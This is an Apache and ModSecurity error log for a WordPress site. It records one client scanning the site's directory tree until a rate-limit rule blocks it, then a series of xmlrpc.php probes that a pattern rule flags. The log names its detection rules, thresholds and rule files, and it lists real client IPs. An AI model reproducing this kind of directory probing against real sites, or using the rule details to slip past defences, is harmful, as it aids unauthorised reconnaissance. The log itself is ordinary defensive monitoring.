[Fri Dec 26 14:33:46.904796 2025] [autoindex:error] [pid 15063:tid 15082] [client 203.159.81.35:46147] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/js/dist/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Dec 26 14:33:47.406902 2025] [autoindex:error] [pid 15063:tid 15079] [client 203.159.81.35:46147] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/assets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Dec 26 14:33:47.913677 2025] [autoindex:error] [pid 15063:tid 15077] [client 203.159.81.35:46147] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/sitemaps/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Dec 26 14:33:51.209323 2025] [autoindex:error] [pid 15063:tid 15068] [client 203.159.81.35:46147] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/l10n/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Dec 26 14:33:51.698138 2025] [autoindex:error] [pid 15063:tid 15070] [client 203.159.81.35:46147] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-content/uploads/2023/11/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Dec 26 14:33:52.152826 2025] [autoindex:error] [pid 15063:tid 15067] [client 203.159.81.35:46147] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/sodium_compat/lib/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Dec 26 14:33:52.650498 2025] [autoindex:error] [pid 15063:tid 15069] [client 203.159.81.35:46147] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/blocks/file/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Dec 26 14:33:53.124956 2025] [autoindex:error] [pid 15063:tid 15088] [client 203.159.81.35:46147] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/images/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Dec 26 14:33:53.618789 2025] [autoindex:error] [pid 15063:tid 15082] [client 203.159.81.35:46147] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/block-bindings/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Dec 26 14:33:54.545645 2025] [autoindex:error] [pid 15063:tid 15083] [client 203.159.81.35:46147] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/widgets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Dec 26 14:33:56.870619 2025] [autoindex:error] [pid 15063:tid 15081] [client 203.159.81.35:46147] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/css/colors/sunrise/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Dec 26 14:33:57.354817 2025] [autoindex:error] [pid 15063:tid 15066] [client 203.159.81.35:46147] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/theme-compat/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Dec 26 14:34:02.109225 2025] [autoindex:error] [pid 15063:tid 15074] [client 203.159.81.35:46147] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/blocks/query/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Dec 26 14:34:02.572715 2025] [autoindex:error] [pid 15063:tid 15066] [client 203.159.81.35:46147] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/js/tinymce/langs/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Dec 26 14:34:03.104749 2025] [autoindex:error] [pid 15063:tid 15073] [client 203.159.81.35:46147] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/css/colors/ectoplasm/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Dec 26 14:34:03.665602 2025] [autoindex:error] [pid 15063:tid 15078] [client 203.159.81.35:46147] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/blocks/group/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Dec 26 14:34:08.426760 2025] [autoindex:error] [pid 15063:tid 15079] [client 203.159.81.35:46147] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/interactivity-api/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Dec 26 14:34:11.464833 2025] [autoindex:error] [pid 15063:tid 15083] [client 203.159.81.35:46147] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-content/upgrade/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Dec 26 14:34:16.138957 2025] [autoindex:error] [pid 15063:tid 15083] [client 203.159.81.35:46147] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/js/jquery/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Dec 26 14:34:16.603897 2025] [autoindex:error] [pid 15063:tid 15089] [client 203.159.81.35:46147] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/Requests/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Dec 26 14:34:17.123521 2025] [autoindex:error] [pid 15063:tid 15066] [client 203.159.81.35:46147] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/js/widgets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Dec 26 14:34:31.124078 2025] [autoindex:error] [pid 15063:tid 15082] [client 203.159.81.35:46147] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/js/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Dec 26 14:34:34.695317 2025] [autoindex:error] [pid 15063:tid 15068] [client 203.159.81.35:46147] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/css/colors/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Dec 26 14:34:35.178977 2025] [autoindex:error] [pid 15063:tid 15081] [client 203.159.81.35:46147] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Dec 26 14:34:36.734091 2025] [autoindex:error] [pid 15063:tid 15065] [client 203.159.81.35:46147] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/certificates/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Dec 26 14:34:37.182144 2025] [autoindex:error] [pid 15063:tid 15081] [client 203.159.81.35:46147] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/images/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Dec 26 14:34:39.919649 2025] [autoindex:error] [pid 15063:tid 15082] [client 203.159.81.35:46147] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/maint/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Dec 26 14:34:53.859876 2025] [autoindex:error] [pid 15063:tid 15070] [client 203.159.81.35:46147] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-content/plugins/elementor/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Dec 26 14:36:34.258387 2025] [:error] [pid 15063:tid 15078] [client 203.159.81.35:46147] [client 203.159.81.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/css/colors/light/"] [unique_id "aU4s8uDsf_aL46Jy7z-bkgAAAQ0"]
[Fri Dec 26 14:36:35.109921 2025] [autoindex:error] [pid 34865:tid 34873] [client 203.159.81.26:39039] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/css/colors/light/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Dec 26 14:36:35.556726 2025] [autoindex:error] [pid 34865:tid 34886] [client 203.159.81.26:39039] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/css/colors/midnight/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Dec 26 14:36:35.987352 2025] [autoindex:error] [pid 34865:tid 34887] [client 203.159.81.26:39039] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/css/colors/modern/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Dec 26 14:36:36.428173 2025] [autoindex:error] [pid 34865:tid 34885] [client 203.159.81.26:39039] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/css/colors/ocean/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Dec 26 14:36:50.678161 2025] [autoindex:error] [pid 34865:tid 34869] [client 203.159.81.26:39039] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-content/uploads/2023/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Dec 26 14:36:51.225395 2025] [autoindex:error] [pid 34865:tid 34891] [client 203.159.81.26:39039] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-content/uploads/2024/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Dec 26 14:36:56.774886 2025] [autoindex:error] [pid 34865:tid 34868] [client 203.159.81.26:39039] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/ID3/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Dec 26 14:37:03.042696 2025] [autoindex:error] [pid 34865:tid 34881] [client 203.159.81.26:39039] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/images/crystal/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Dec 26 14:37:03.522402 2025] [autoindex:error] [pid 34865:tid 34870] [client 203.159.81.26:39039] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/images/media/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Dec 26 14:37:03.985608 2025] [autoindex:error] [pid 34865:tid 34883] [client 203.159.81.26:39039] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/images/smilies/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Dec 26 14:37:09.897291 2025] [autoindex:error] [pid 34865:tid 34868] [client 203.159.81.26:39039] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/js/codemirror/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Dec 26 14:37:10.317209 2025] [autoindex:error] [pid 34865:tid 34870] [client 203.159.81.26:39039] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/js/plupload/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Dec 26 14:37:10.763626 2025] [autoindex:error] [pid 34865:tid 34868] [client 203.159.81.26:39039] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/PHPMailer/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Dec 26 14:37:11.191524 2025] [autoindex:error] [pid 34865:tid 34870] [client 203.159.81.26:39039] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/sitemaps/providers/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Dec 26 18:04:41.238359 2025] [:error] [pid 34865:tid 34868] [client 162.240.102.83:36920] [client 162.240.102.83] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 162.240.102.83, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aU5duai4zjVVKBdvuTTHwQAAAUE"]
[Fri Dec 26 18:35:22.674301 2025] [:error] [pid 28269:tid 28325] [client 54.209.26.18:42216] [client 54.209.26.18] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 54.209.26.18, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aU5k6p3ZK8bJ-c9-kjNLNQAAAFc"]
[Fri Dec 26 19:06:10.694149 2025] [:error] [pid 34865:tid 34891] [client 96.9.211.67:57722] [client 96.9.211.67] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 96.9.211.67, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aU5sIqi4zjVVKBdvuTTWZgAAAVg"]
[Fri Dec 26 19:42:27.635332 2025] [:error] [pid 28355:tid 28377] [client 66.42.64.64:37290] [client 66.42.64.64] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 66.42.64.64, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aU50o7sFqKXf7ADZcTYPVgAAANQ"]
[Fri Dec 26 20:16:25.597993 2025] [:error] [pid 7160:tid 7178] [client 84.51.23.18:58020] [client 84.51.23.18] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 84.51.23.18, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aU58mew_ihNZR5L8vEV81AAAAY8"]
[Fri Dec 26 20:49:22.270479 2025] [:error] [pid 28268:tid 28279] [client 157.245.107.90:47030] [client 157.245.107.90] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 157.245.107.90, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aU6EUnc_KuO_55-uPTS0_gAAAAQ"]
[Fri Dec 26 21:09:48.781338 2025] [:error] [pid 28270:tid 28349] [client 94.228.127.24:60756] [client 94.228.127.24] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 94.228.127.24, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aU6JHF9Ac79_ckdPN5Jf1QAAAJQ"]
[Fri Dec 26 21:24:40.603071 2025] [:error] [pid 28355:tid 28360] [client 77.65.163.16:50918] [client 77.65.163.16] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 77.65.163.16, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aU6MmLsFqKXf7ADZcTYmDgAAAMM"]
[Fri Dec 26 21:57:29.216367 2025] [:error] [pid 28270:tid 28345] [client 37.27.19.117:59492] [client 37.27.19.117] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 37.27.19.117, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aU6USV9Ac79_ckdPN5JphgAAAJA"]
[Fri Dec 26 22:33:51.038071 2025] [:error] [pid 28270:tid 28341] [client 82.165.19.236:58946] [client 82.165.19.236] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 82.165.19.236, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aU6cz19Ac79_ckdPN5Ju-wAAAIw"]
[Fri Dec 26 23:08:00.340900 2025] [:error] [pid 15063:tid 15085] [client 66.70.178.228:34028] [client 66.70.178.228] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 66.70.178.228, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aU6k0ODsf_aL46Jy7z80EwAAARQ"]
[Fri Dec 26 23:49:35.133355 2025] [:error] [pid 28355:tid 28361] [client 217.154.5.38:50834] [client 217.154.5.38] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 217.154.5.38, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aU6uj7sFqKXf7ADZcTZCQQAAAMQ"]
[Sat Dec 27 00:26:06.825561 2025] [:error] [pid 34274:tid 34288] [client 146.190.127.223:33418] [client 146.190.127.223] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 146.190.127.223, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aU63Hs6fabpS0mfhiCHgMQAAAMw"]
[Sat Dec 27 00:41:37.678636 2025] [:error] [pid 34188:tid 34222] [client 34.12.29.68:49417] [client 34.12.29.68] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.12.29.68, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aU66wQ54j0mXgip5BAGSNQAAAEI"]
